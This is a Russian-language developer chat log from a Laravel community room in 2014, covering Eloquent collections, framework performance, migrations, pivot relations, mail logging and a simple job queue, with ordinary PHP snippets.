@Quiss я немного опоздал. Есть еще юнирест
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:52
как поставить вообще что-то?
и потом обновлять по человечески
или тупо копировать с гитхаба код?
Ruslan Koloskov
@softua
Aug 23 2014 11:53
я ткпо копировал.
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:53
я тоже задаюсь вопросом зачем компосер
Ruslan Koloskov
@softua
Aug 23 2014 11:53
:)
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:53
ну пипец!
Роман Сохарев
@greabock
Aug 23 2014 11:53
@Quiss юнирест, кстати mashape двигает.
Ruslan Koloskov
@softua
Aug 23 2014 11:54
Ну я не юзал композер. :) Вот сейчас уже понимаю, как это классно, но то что спросил @slider23 можно и без композера сделать.
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:54
можно что угодно без чего угодно сделать
нужны только 1 и 0
кварки
что там еще есть?
кванты
Ruslan Koloskov
@softua
Aug 23 2014 11:55
:smile:
slider23
@slider23
Aug 23 2014 11:55
вообще, фалькон, конечно, посмотреть поподробнее, это второй php-фреймворк кроме laravel, который достоин внимания сейчас. :)
Ruslan Koloskov
@softua
Aug 23 2014 11:56
Да, но сыроват. Мне например было трудно понять, почему, если в БД в поле стоит NOT NULL с дефолтным значением, то фалкон не разрешит не указать это значение в моделе.
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:56
да, там надо вешать слушателя на beforeValidate
была такая засада и у меня
Ruslan Koloskov
@softua
Aug 23 2014 11:57
Ну как бы есть еще ньюансы, но я пока не могу сравнить, пока не знаю Laravel.
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:57
но это только если ты юзаешь model helper
Ruslan Koloskov
@softua
Aug 23 2014 11:57

но это только если ты юзаешь model helper

то есть?

Brezhnev Ivan
@vanchelo
Aug 23 2014 11:58
/**
 * If the configuration specify the use of metadata adapter use it or use memory otherwise
 */
$di['modelsMetadata'] = function() use ($config) {
    return new MetaDataAdapter(array(
        'metaDataDir' => $config->application->cacheDir . 'metaData/'
    ));
};
Ruslan Koloskov
@softua
Aug 23 2014 11:59
Я не юзал такое.
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:59
он генерит на основе таблицы метаданные модели
может ты не знаешь что юзаешь)
Ruslan Koloskov
@softua
Aug 23 2014 11:59
:) может
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:59
в index.php
или в сервисах
Ruslan Koloskov
@softua
Aug 23 2014 11:59
сек
Brezhnev Ivan
@vanchelo
Aug 23 2014 11:59
как там у тебя организованно
Ruslan Koloskov
@softua
Aug 23 2014 11:59
да сревисы в индексе.
сек - посмотрю.
Brezhnev Ivan
@vanchelo
Aug 23 2014 12:00
я выносил в файл
вообще профит есть конечно от фалькона
есть чат по фалькону
туда попробуй написать
Ruslan Koloskov
@softua
Aug 23 2014 12:01
что туда написать?
Brezhnev Ivan
@vanchelo
Aug 23 2014 12:01
то что тебе не понятно
Aza Noriega
@MegaGM
Aug 23 2014 12:02
@vanchelo А что-то было решено/придумано, по поводу платности гиттера? Похоже я пропустил
Brezhnev Ivan
@vanchelo
Aug 23 2014 12:02
неа
пока ничего
есть чат на питоне крутой
кто шарит может допилить
но там в одном файле тупо все на функциях
Ruslan Koloskov
@softua
Aug 23 2014 12:03
@vanchelo мне все понятно. просто интересно дело в этом хелпере или нет.
Brezhnev Ivan
@vanchelo
Aug 23 2014 12:03
проверь
Ruslan Koloskov
@softua
Aug 23 2014 12:06
@vanchelo нет, у меня нету этого сервиса. Но я использовал FactoryDefault, может он там уже есть?
Brezhnev Ivan
@vanchelo
Aug 23 2014 12:06
хз
возможно
посмотри код(
я тоже $di = new FactoryDefault(); юзал
Ruslan Koloskov
@softua
Aug 23 2014 12:07
и отдельно включал MetaDataAdapter?
Brezhnev Ivan
@vanchelo
Aug 23 2014 12:07
This is a variant of the standard Phalcon\DI. By default it automatically
registers all the services provided by the framework. Thanks to this, the developer does not need
to register each service individually providing a full stack framework
Ruslan Koloskov
@softua
Aug 23 2014 12:08
да, там есть список сервисов, которые включены.
slider23
@slider23
Aug 23 2014 12:08
@MegaGM сидим на бесплатном режиме дальше. Все то же самое остается, просто хистори будет максимум 2 недели храниться.
Brezhnev Ivan
@vanchelo
Aug 23 2014 12:08
можно самим сохранять
или гугл кэш
или archive.org
slider23
@slider23
Aug 23 2014 12:08
да не нужен он
Aza Noriega
@MegaGM
Aug 23 2014 12:09
Да нужна она больно эта хистори
Brezhnev Ivan
@vanchelo
Aug 23 2014 12:09
я некоторых посылал в хистори)
Aza Noriega
@MegaGM
Aug 23 2014 12:10
Да я сюда попал по гуглению, наткнулся как раз на хистори
Aza Noriega
@MegaGM
Aug 23 2014 12:11
Но не думаю, что будет трагедия, если её не будет :)
Brezhnev Ivan
@vanchelo
Aug 23 2014 12:12
это тебе ссылка @softua
там как раз про filter
slider23
@slider23
Aug 23 2014 12:13
Да, Collections в Laravel - это крутая вещь.
Andrey
@Quiss
Aug 23 2014 12:13
Client error response [url] https://www.avito.ru/profile/login [status code] 403 [reason phrase] Forbidden
© Guzzle :D
Brezhnev Ivan
@vanchelo
Aug 23 2014 12:14
смотри че он шлет
может он притвоярется Guzzlom
Ruslan Koloskov
@softua
Aug 23 2014 12:14
@vanchelo спасибо.
Brezhnev Ivan
@vanchelo
Aug 23 2014 12:14
а там защита от разных юзер агентов
@Quiss ты выставил UA?
Andrey
@Quiss
Aug 23 2014 12:14
UA?
Brezhnev Ivan
@vanchelo
Aug 23 2014 12:14
блин
Andrey
@Quiss
Aug 23 2014 12:15
ff
аа
User agent
Brezhnev Ivan
@vanchelo
Aug 23 2014 12:15
UserAgent
Andrey
@Quiss
Aug 23 2014 12:15
:D
нет не выставил)
в топку газл кароч) разбираться дольше буду, ЗЫ (UA выставил)
Ruslan Koloskov
@softua
Aug 23 2014 12:20
@vanchelo я понял.
:)

@vanchelo > там как раз про filter

Опа, а filter возвращает новую коллекцию? Не совсем понимаю. В фалконе filter вызывается для каждой записи и соответственно возвращает эту запись. Получается, что на выходе имеем массив объектов, с которыми работаем. А тут на выходе Collection?

как это?
The filter method actually returns a new instance of Illuminate\Support\Collection
Ruslan Koloskov
@softua
Aug 23 2014 12:33
Нет все-таки вопрос по производительности. Понятно, что фалкон будет быстрее. Но ларавел по сравнению с другими fw не самый медленный?
Brezhnev Ivan
@vanchelo
Aug 23 2014 12:33
возвращает ту же коллекцию
$users = User::all();
var_dump($users); // object(Illuminate\Database\Eloquent\Collection)#412 (1)

$users->filter(function ($user) {
    return $user->username == 'admin';
});
var_dump($users); // object(Illuminate\Database\Eloquent\Collection)#412 (1)
Ruslan Koloskov
@softua
Aug 23 2014 12:35
а как получить масив объектов типа User?
Brezhnev Ivan
@vanchelo
Aug 23 2014 12:36
а нет
Ruslan Koloskov
@softua
Aug 23 2014 12:36
то есть никак?
:) только форичем потом проходиться?
Brezhnev Ivan
@vanchelo
Aug 23 2014 12:36
действительно новую коллекцию
Ruslan Koloskov
@softua
Aug 23 2014 12:36
не суть.
Главное, что не обычный массив.
Brezhnev Ivan
@vanchelo
Aug 23 2014 12:38
User::all()->toArray()
вот тебе обычный массив но не объектов)
вот как
User::all()->all()
получишь обычный массив объектов User
Alexander Zhuravlev
@SCIF
Aug 23 2014 12:39
Ну или (array) User:all()
Ruslan Koloskov
@softua
Aug 23 2014 12:40

так получится:

$users = User::all();
var_dump($users); // object(Illuminate\Database\Eloquent\Collection)#412 (1)
$usersArr = [];
$users->filter(function ($user) {
    $usersArr[] = $user;
});
var_dump($users);

?

Brezhnev Ivan
@vanchelo
Aug 23 2014 12:40
@SCIF нифига))
array(1) {
  ["*items"]=>
  array(2) {
    [0]=>
    object(User)#409 (20) {
гавно-массив
а вот через User::all()->all()
array(2) {
  [0]=>
  object(User)#409 (20) {
как положенно
Ruslan Koloskov
@softua
Aug 23 2014 12:41
прикольно.
Brezhnev Ivan
@vanchelo
Aug 23 2014 12:41
потому что у каждой коллекции есть метод
public function all()
{
    return $this->items;
}
Ruslan Koloskov
@softua
Aug 23 2014 12:41
ага.
ладно, пошел я мануал читать, чтобы не задавать глупых вопросов.
Brezhnev Ivan
@vanchelo
Aug 23 2014 12:42
главное не путить all модели и all коллекции
Вот это модели all()
public static function all($columns = array('*'))
{
    $instance = new static;
    return $instance->newQuery()->get($columns);
}
Ruslan Koloskov
@softua
Aug 23 2014 12:43
Только еще скажите по производительности. Ларавел не уступает по скорости Yii, CakePHP и прочим не считая фалкон?
Brezhnev Ivan
@vanchelo
Aug 23 2014 12:43
Yii шустрее
Ruslan Koloskov
@softua
Aug 23 2014 12:44
вот блин!!!
Brezhnev Ivan
@vanchelo
Aug 23 2014 12:44
Cakephp не уступает
Ruslan Koloskov
@softua
Aug 23 2014 12:44
:(
Eugene Holiday
@eugene-holiday
Aug 23 2014 12:44
счёт идёт на минуты. люди пользуют ларавел и ждут респонза часами
Ruslan Koloskov
@softua
Aug 23 2014 12:45
:)
как это?
Роман Сохарев
@greabock
Aug 23 2014 12:46
вообще, я в последний раз успел чай заварить и покурить....
Ruslan Koloskov
@softua
Aug 23 2014 12:46
какими часами?
какой чай?
:)
А что Вы все тут делаете тогда?
Роман Сохарев
@greabock
Aug 23 2014 12:47
я слышал был один посан - он вообще состарился за время авторизации...
Ruslan Koloskov
@softua
Aug 23 2014 12:47
:)
Eugene Holiday
@eugene-holiday
Aug 23 2014 12:47
:laughing:
Ruslan Koloskov
@softua
Aug 23 2014 12:48
ок, спасибо за информативные сообщения.
Просто реально хочется знать фреймворк, который будет и удобный и быстрый и вообще идеальный! :)
Роман Сохарев
@greabock
Aug 23 2014 12:49
так не бывает
Ruslan Koloskov
@softua
Aug 23 2014 12:49
Потому что заказчику насрать, удобно ли разработчику, но если его приложение тупит...
@greabock а очень хочется.
ладно, пошел читать. Спасибо всем за помощь.
Роман Сохарев
@greabock
Aug 23 2014 12:50
Вот меня прям это вырубает...
Brezhnev Ivan
@vanchelo
Aug 23 2014 12:52
ыыыы
меня тоже)
Роман Сохарев
@greabock
Aug 23 2014 12:52
Что вам эта производительность? Если набарнить в коде то и уй будет тупить. Если сделать все красиво, то никто и разницы не заметит.
Ruslan Koloskov
@softua
Aug 23 2014 12:53

Если сделать все красиво, то никто и разницы не заметит.

Вот это и хотел услышать.

:)
Ну ведь понятно, что вот в симфони, как не сделаешь, он все-равно будет тупить?!
или ошибаюсь?
Роман Сохарев
@greabock
Aug 23 2014 12:54
Ошибаешься
Brezhnev Ivan
@vanchelo
Aug 23 2014 12:54
не тупит
Ruslan Koloskov
@softua
Aug 23 2014 12:54
ну все, тогда тем более пошел читать. :)
Роман Сохарев
@greabock
Aug 23 2014 12:55
Лучшие порносайты подняты на симфони.
Brezhnev Ivan
@vanchelo
Aug 23 2014 12:55
во во
и на зенде
Ruslan Koloskov
@softua
Aug 23 2014 12:55
:) теперь я знаю критерий выбора fw.
Alexander Zhuravlev
@SCIF
Aug 23 2014 12:55
@softua , тупят не фреймворки, а те кто их пользует. Правильная архитектура — единственный критерий влияющий на скорость
Роман Сохарев
@greabock
Aug 23 2014 12:56
Лучший форумный движок всех времен разработан на зенде.
Alexander Zhuravlev
@SCIF
Aug 23 2014 12:56
@greabock , тут давай подробней
Роман Сохарев
@greabock
Aug 23 2014 12:56
м?
Alexander Zhuravlev
@SCIF
Aug 23 2014 12:56
Что за движок?
Роман Сохарев
@greabock
Aug 23 2014 12:56
XenForo
Я под него писал пару модулей - он просто шикарен.
Orel
@2byte
Aug 23 2014 12:59
Если руки кривые, и чистый php будет тупить
Роман Сохарев
@greabock
Aug 23 2014 13:00
если руки кривые, ты на pure php вообще ничего связного не напишешь =)
Brezhnev Ivan
@vanchelo
Aug 23 2014 13:02
ыыыы
Роман Сохарев
@greabock
Aug 23 2014 13:03
Иван, у тебя походу клавиша "s" запала, поковыряй ее там.
Alexander Zhuravlev
@SCIF
Aug 23 2014 13:06
ыыыы
Походу у меня тоже западает :(
Andrey
@Quiss
Aug 23 2014 13:06
@SCIF пичаль(
Alexander Zhuravlev
@SCIF
Aug 23 2014 13:07
Кстати у американцев почему-то западают две клавиши обычно, наверно они больше нас печатают
slider23
@slider23
Aug 23 2014 13:08
Саксесс-стори про производительность симфони http://labs.octivi.com/handling-1-billion-requests-a-week-with-symfony2/
Роман Сохарев
@greabock
Aug 23 2014 13:09
Ну тут в том и прикол, что при больших нагрузках все упирается в бд...
Alexander Zhuravlev
@SCIF
Aug 23 2014 13:10

30ms response time of app_dev

Whaaaatttt????????

Haproxy + varnish. Хорошая ессно связка
И у них нет индексёров?! Ахренеть. Харакетер данных значит достаточно простой
Но приложение распаралелленое. Очереди, вероятно, у редиса пользуют
Кстати у симфони понравилась фича обработки логов, сугубо в конфигах можно настроить чтобы монолог сообщал об ошибках в почту.
Redis — основное хранилище.
Brezhnev Ivan
@vanchelo
Aug 23 2014 13:15
а я себе в ларе сделал на почту
там же легко
правда не через монолог
Alexander Zhuravlev
@SCIF
Aug 23 2014 13:16
Миграция данных длительностью в два дня....
@vanchelo , ты про то, чтобы отлавливать событие?
Brezhnev Ivan
@vanchelo
Aug 23 2014 13:16
App::error
это плохо?
Alexander Zhuravlev
@SCIF
Aug 23 2014 13:21
Вроде оно для этого и создано, не вижу чему тут плохому быть :)
Brezhnev Ivan
@vanchelo
Aug 23 2014 13:22
подумал может иначе можно сделать)
через монолог как ты про симу рассказывал
Alexander Zhuravlev
@SCIF
Aug 23 2014 13:22
Дочитал лог выше про скорости фреймворков. Про посона состарившегося прямо записал в блокнотик %))
Brezhnev Ivan
@vanchelo
Aug 23 2014 13:22
хахаха
Alexander Zhuravlev
@SCIF
Aug 23 2014 13:22
Иначе наверняка можно, только смысла никакого нет
Brezhnev Ivan
@vanchelo
Aug 23 2014 13:23
а я в ларе че-то не вижу монолога
Brezhnev Ivan
@vanchelo
Aug 23 2014 13:32
ага
а как класс называется?
аааа
Loger)
Роман Сохарев
@greabock
Aug 23 2014 13:33
)
Brezhnev Ivan
@vanchelo
Aug 23 2014 13:34
монолог даже в Elastic умеет писать логи
SwiftMailerHandler)
нашел
Alexander Zhuravlev
@SCIF
Aug 23 2014 13:36
Да именно так и настраивается :) Тупо указываешь, что ошибки не ниже таких-то писать ещё и в swiftmailer :)
Brezhnev Ivan
@vanchelo
Aug 23 2014 13:36
но в ларе это через одно место делать надо
Alexander Zhuravlev
@SCIF
Aug 23 2014 13:38

Для любителей пилить всё по NSам для лаконичности кода:

You may also use the namespace parameter within your group array to specify all controllers within that group as being in a given namespace:

Brezhnev Ivan
@vanchelo
Aug 23 2014 13:38
Log::getMonolog()->pushHandler(new SwiftMailerHandler($mailer, $message));
геморойно выходит
Роман Сохарев
@greabock
Aug 23 2014 13:40
Как понять термин Multi-Tenant?
Alexander Zhuravlev
@SCIF
Aug 23 2014 13:41
@greabock , речь про недвижимость?
Типа в долевом владении?
Роман Сохарев
@greabock
Aug 23 2014 13:42
Нет, речь о Multi-Tenant приложениях.
Хз... может типа распределенные?
Alexander Zhuravlev
@SCIF
Aug 23 2014 13:43
Нужно больше контекста
Brezhnev Ivan
@vanchelo
Aug 23 2014 13:44
))
Роман Сохарев
@greabock
Aug 23 2014 13:44
Да я уже читаю... это в названии статьи "creating multi-tenancy applications". Прочитаю - расскажу.
На сколько я понял, это приложения с различным уровнем доступа и различными функциями в зависимости от "уровня доступа" клиента.
Brezhnev Ivan
@vanchelo
Aug 23 2014 13:49
rbac?
Роман Сохарев
@greabock
Aug 23 2014 13:49
Ну хз, не посредственно термин rbac в статье ни разу не всплвает. Видимо речь не много о другом. Буду дальше читать.
Brezhnev Ivan
@vanchelo
Aug 23 2014 13:51
ааа
на пхп такое возможно?
Роман Сохарев
@greabock
Aug 23 2014 13:54
Ну статья рассматривает это на примере Laravel. Но "мультиарендность" там несколько иная, чем описано в статье в Вики.
На самом деле, если у тебя есть какое-то апи, то чем это уже не "мультиарендность"?
Brezhnev Ivan
@vanchelo
Aug 23 2014 13:57
вариант
Alexander Zhuravlev
@SCIF
Aug 23 2014 13:58
Ну да, апи + клиенты (админка, фронтэндские аякс и просто хтмл)
Andrey
@Quiss
Aug 23 2014 14:13

хм, кто знает в чем может быть ошибка:

echo 123;
$app->run();

It's Work.

$app->run(); -> Empty document

в общем приложение не стартует ( просто белая страница(
Brezhnev Ivan
@vanchelo
Aug 23 2014 14:14
смотри ошибки
Andrey
@Quiss
Aug 23 2014 14:14
нет их, в этом и прикол
Brezhnev Ivan
@vanchelo
Aug 23 2014 14:14
error_reporting(E_ALL);
ini_set("display_errors", 1);
Andrey
@Quiss
Aug 23 2014 14:15
Пустотень
Нашел
трекер не совместим походу был) версия старая
Brezhnev Ivan
@vanchelo
Aug 23 2014 14:19
трекер чего?
Andrey
@Quiss
Aug 23 2014 14:19
'PragmaRX\Tracker\Vendor\Laravel\ServiceProvider'
этот
Brezhnev Ivan
@vanchelo
Aug 23 2014 14:19
а че он делает?
Andrey
@Quiss
Aug 23 2014 14:19
а всякую стату собирает
браузеры ипы
Brezhnev Ivan
@vanchelo
Aug 23 2014 14:19
понял
Andrey
@Quiss
Aug 23 2014 14:19
урлы ошибки
Andrey
@Quiss
Aug 23 2014 15:04
А кто подскажет на вскидку, как удалить только миграцию cars и опять ее добавить
refresh все грохает же
Роман Сохарев
@greabock
Aug 23 2014 15:23
юзай артизан хелп
там написано как откатить
artisan migrate:rollback
Alexander Zhuravlev
@SCIF
Aug 23 2014 15:28
Да один фиг всё потянет. Как вариант — выставить номер очереди +1 от максимального и соотв. ролбэк на одну миграцию. Но если миграции зависимые, то соотв. никак
Ruslan Koloskov
@softua
Aug 23 2014 16:12
Подскажите, разве на forge нельзя бесплатно разместить проект?
DeminAlexey
@DeminAlexey
Aug 23 2014 16:20
а где взять smtp сервер, если хостинг не предоставляет, а через гмаил не идет, потому-как ругается на двойную аунтефикацию
slider23
@slider23
Aug 23 2014 16:24
@softua forge - это "панелька" для развертывания образа на хостингах и управление этими образами. оно само не хостинг. на тех хостингах, с которыми оно работает, бесплатных планов нет. сам forge тоже не бесплатный - 10 баксов в месяц за использование.
Ruslan Koloskov
@softua
Aug 23 2014 16:38
@slider23 понял, спасибо. Я уже обрадовался, хотел заюзать. :)
Nikolay Denisenko
@PEKTOP
Aug 23 2014 16:38
@DeminAlexey http://pdd.yandex.ru
DeminAlexey
@DeminAlexey
Aug 23 2014 16:48
@PEKTOP спасибо уже с гуглом разобрался, нужно было тип указать tls port 587 и в настройках аккаунта гмаил вырубить двойную авторизацию
Shappy
@Formcd
Aug 23 2014 17:03
This message was deleted
Shappy
@Formcd
Aug 23 2014 17:12
Все же не разобрался... Подскажите плз, как выбрать максимальное число в колонке и если максимальное число не одно, то выбрать то, что было раньше создано..
Alex Jump
@jumpbstl
Aug 23 2014 17:27
граждане, подскажите как правильно устанавливать phpunit. в мануалах добавляют зависимость > composer update > и какой-то магией команда phpunit доступна из корня. так?
slider23
@slider23
Aug 23 2014 17:34
обычно такое кладется в vendor/bin. попробуй vendor/bin/phpunit из корня. если получится, добавляй в path
Alex Jump
@jumpbstl
Aug 23 2014 17:38
угу. он выдаёт хелп
т.е. если я правильно понял, то после добавления в path и запуска из корня он будет подхватывать конфиг и прогонять app/tests
slider23
@slider23
Aug 23 2014 17:39
попробуй :)
Alex Jump
@jumpbstl
Aug 23 2014 17:39
хороший ответ)
slider23
@slider23
Aug 23 2014 17:40
я не юзал phpunit
Alex Jump
@jumpbstl
Aug 23 2014 17:40
я сам никогда раньше им не пользовался, ради интереса чтобы хотя бы иметь представление что это такое
Andrey
@Quiss
Aug 23 2014 18:19

У меня вопрос по CodeCeption. У меня на странице стоит подгрузка ajax'ом какой-либо инфы, в зависимости от выбранной (Марки|Модели) (актуально для Автомобилей). Вопрос, как в CC задать что-бы он еще слал Ajax запрос, если код 200 то проставлять в поле Марки ID (для примера)

Или лучше сделать так: Отдельно протестировать форму добавления авто (предварительно указав ID). А потом дополнительно послать запросы в ajax ?

Andrey
@Quiss
Aug 23 2014 18:25
м? не кто не подскажет как лучше сделать?(
slider23
@slider23
Aug 23 2014 18:27
думаю, нет, но с удовольствием послушает, что в итоге получилось :)
на http://builtwithlaravel.com/ большое пополнение
Nikolay Denisenko
@PEKTOP
Aug 23 2014 18:34
думаю тут не обойтись без тестов на фронте
Andrey
@Quiss
Aug 23 2014 18:34
Да меня фронт не сильно интересует
если так разобраться
больше интересует бэк ерроры чтоб их небыло)
Ибо когда директор видит "Unknown column...." сразу бьет панику, он не понимает что это не рабочая версия, хотя сам просит ВЫЛОЖИ ПЛЗ
вопрос выше для стэка просто) если так нельзя, то буду по кодам ответа тестить и ajax тоже просто слать POST данные)
Danil
@Jonik19
Aug 23 2014 19:02
Вечер добрый. Подскажите, как из базы, столбца с типом text, взять лишь первые 140 символов ?
или как обрезать
slider23
@slider23
Aug 23 2014 19:04
обрезать - str_limit($value, $limit = 140, $end = '...')
ларавеловский хелпер
Andrey
@Quiss
Aug 23 2014 19:05
либо mb_substr($text,0,140);
либо так:
SELECT SUBSTRING(text,0,140) FROM table
Danil
@Jonik19
Aug 23 2014 19:07
спасибо
LaravelButler

Приветствуем Вас, @sonntagausgang, в нашем дружном чате
В чате запрещена: реклама, спам, нецензурная лексика. Чат не место для оскорблений и выяснений отношений между участниками. За нарушение – Бан!

Официальный сайт Laravel
Группа Вконтакте
А так же:
G+, Facebook, Twitter, GitHub

забавно)
Vadim Shashin
@Enapiuz
Aug 23 2014 19:41
@Quiss давно уже висит :smile:
Andrey
@Quiss
Aug 23 2014 19:41
Warning: touch(): Utime failed: Permission denied
это что-то новое
композер мне выкинул
chmod'ом не решилось(
о
sudo composer думаю поможет ))
Роман Сохарев
@greabock
Aug 23 2014 20:19
Есть тут кто с вывихом мозга по SQL?
Andrey
@Quiss
Aug 23 2014 20:19
Ты пиши) если знаю - отвечу
Роман Сохарев
@greabock
Aug 23 2014 20:19
Хехе
Сейчас накатаю...
0blomov
@0blomov
Aug 23 2014 20:21
ыч.jpg
где достать?
Andrey
@Quiss
Aug 23 2014 20:22
@greabock та, длинный же у тебя запрос) раз так долго чепятаешь
0blomov
@0blomov
Aug 23 2014 20:24
желаю всем писать по ветру)
Роман Сохарев
@greabock
Aug 23 2014 20:26

У меня в приложении два языка. Соответственно материалы есть на основном (мастер-язык) языке и на дополнительном. Приложение так устроено, что материал на мастер-языке должен присутствовать обязательно, а на дополнительном может и не присутствовать. Теперь, такой момент... можно ли одним запросом: попытаться вытянуть материал на дополнительном языке, а если его нет, то тянуть материал на мастер-языке. Таблица имеет вид


| content | language_id |


Andrey
@Quiss
Aug 23 2014 20:27
хм в content у тебя что?
и заполнено ли language_id если доп языка нет?
0blomov
@0blomov
Aug 23 2014 20:28
right_join
Andrey
@Quiss
Aug 23 2014 20:28
(+ ток я думал в сторону left join :D
0blomov
@0blomov
Aug 23 2014 20:28
)
всяке бувае
Роман Сохарев
@greabock
Aug 23 2014 20:30
каждая строка этой таблицы - это вариант материала.
то есть она на самом деле еще имеет поле article_id
и соответственно language_id заполнен всегда.
если варианта материала на каком-то языке нет, то и строки с таким language_id просто нет
@0blomov , @Quiss left join, right join - я могу вообще turncate table сказать... Вы пример запроса приведите :-)
Vadim Shashin
@Enapiuz
Aug 23 2014 20:35

Подскажите, что я делаю не так.
Есть такая модель:

class VkGroup extends \Eloquent {
    protected $fillable = ['gid', 'name', 'population', 'screen_name'];

    public function users()
    {
        return $this->belongsToMany('User')->withPivot('notes');
    }
}

В модели User вот так:

public function groups()
{
    return $this->belongsToMany('VkGroup')->withTimestamps();
}

И например, делая что-то типа такого:

$groups = Auth::getUser()->groups()->get();
foreach ($groups as $grp) {
    dd($grp->pivot->notes);
}

Получаем null. Юзер есть, связанная группа есть, в связующей таблице поле notes есть, все остальные поля возвращаются.

Роман Сохарев
@greabock
Aug 23 2014 20:36
@Enapiuz а таблица связующая их ессть?
сори - не дочитал
Vadim Shashin
@Enapiuz
Aug 23 2014 20:36
Да, в ней в notes даже все есть
Роман Сохарев
@greabock
Aug 23 2014 20:37
Попробуй более точно прописать поля в связи >belongsToMany
Vadim Shashin
@Enapiuz
Aug 23 2014 20:37
После такого в связующей таблице 123 присутствует
Auth::getUser()->groups()->attach(
    $group->id,
    [
        'notes' => '123'
    ]
);
Andrey
@Quiss
Aug 23 2014 20:38
хм
dd($grp) что дает?
Vadim Shashin
@Enapiuz
Aug 23 2014 20:39
модный же ларавеловский var_dump()
Andrey
@Quiss
Aug 23 2014 20:39
та не) эт я у тебя спросил
выдай вардамп $grp
Оно даже вставляет его сюда
Роман Сохарев
@greabock
Aug 23 2014 20:45
This message was deleted
0blomov
@0blomov
Aug 23 2014 20:48
Auth::user()
можно так писать
Vadim Shashin
@Enapiuz
Aug 23 2014 20:49
однако)
0blomov
@0blomov
Aug 23 2014 20:49
getUser мерзко выглядит)
Vadim Shashin
@Enapiuz
Aug 23 2014 20:50
чуть-чуть)
0blomov
@0blomov
Aug 23 2014 20:50
ребят, такой вопрос, как сделать псевдоочереди чисто на мускуле кроне пхп?
какую структуру таблицы создавать
Роман Сохарев
@greabock
Aug 23 2014 20:51
Я тебе могу рассказать как тик-так псевдокрон поднять, а вот про псевдоочереди не слышал ^_^
0blomov
@0blomov
Aug 23 2014 20:51
не, крон есть
просто надо не сразу почту слать, а писать скажем в базу
а потом по крону раз в 5 мин смотреть в базу и рассылать
Роман Сохарев
@greabock
Aug 23 2014 20:52
ты только что решил свою проблему!
лол
0blomov
@0blomov
Aug 23 2014 20:52
не, я не знаю какую структуру таблицы создать(
Роман Сохарев
@greabock
Aug 23 2014 20:53
задание, статус, юникстайм
0blomov
@0blomov
Aug 23 2014 20:53
мож сеарилизовать объект?
типа SwiftMessage
а потом извлекать и делать что-то
Роман Сохарев
@greabock
Aug 23 2014 20:54
ну в задании объект хранить с параметрами
0blomov
@0blomov
Aug 23 2014 20:54
нужно какой-то конкретный объект?
Роман Сохарев
@greabock
Aug 23 2014 20:54
думаю да - задание
объект Job =)
0blomov
@0blomov
Aug 23 2014 20:55
или объект типа такого
abstract class Queue {
    abstract function fire()
}
а все остальные от него наследовать
или лучше уж интерфейс
плохо что в ларавел незя задания в мускуле хранить
даже странно
Роман Сохарев
@greabock
Aug 23 2014 20:57
а почему бы не в файле вообще, к примеру?
0blomov
@0blomov
Aug 23 2014 20:57
файл создавать?
Роман Сохарев
@greabock
Aug 23 2014 20:58
одна строка - одно задание
0blomov
@0blomov
Aug 23 2014 20:59
жесть
$shard = new Storage_Shard_MySQL(
    new Storage_Shard_Keys_Provider_StoredKeys(
        new Storage_Shard_Keys_Generator_Weights(Storage_Shard_Keys_Generator_Weights::getWeightsFromMultiArray(Config::$MYSQL_SHARD_SERVERS)),
        new Storage_KeyValue_Cached(
            new Storage_KeyValue_MySQL(new Storage_MySQL(Config::BASE_MYSQL_HOST, Config::BASE_MYSQL_USER, Config::BASE_MYSQL_PASSWORD, Config::BASE_MYSQL_DB, $this->logger), 'users_servers', 'server_id', 'user_id'),
            new Storage_KeyValue_RedisPrefixed(
                new Storage_Redis(Config::REDIS_HOST), Config::DATA_NAMESPACE_ALIAS . ':users_servers:', 60 * 60 * 12,
                new Storage_Logger_File('/logs/data.log'),
            true
        ),
        false,
        new Storage_Locker_Redis(new Storage_Redis(Config::REDIS_HOST), Config::DATA_NAMESPACE_ALIAS . ':lock:')
    ),
    Config::$MYSQL_SHARD_SERVERS
));
Роман Сохарев
@greabock
Aug 23 2014 20:59
что это
дрянь какая-то
Роман Сохарев
@greabock
Aug 23 2014 21:01
это не Барбушин... это Барбу Шин - индус какой-то, походу :-)
0blomov
@0blomov
Aug 23 2014 21:01
)
Роман Сохарев
@greabock
Aug 23 2014 21:02
вложил - так вложил.
0blomov
@0blomov
Aug 23 2014 21:02
аха
Роман Сохарев
@greabock
Aug 23 2014 21:12
Нет ну у меня в репозитории тоже дикий изврат лежит ^_^
Aza Noriega
@MegaGM
Aug 23 2014 21:35
У этого Барбу Шина на Linkedin написано, что у него 11 years of professional development different kind of Web projects
Но что-то верится с трудом..
0blomov
@0blomov
Aug 23 2014 21:45
)))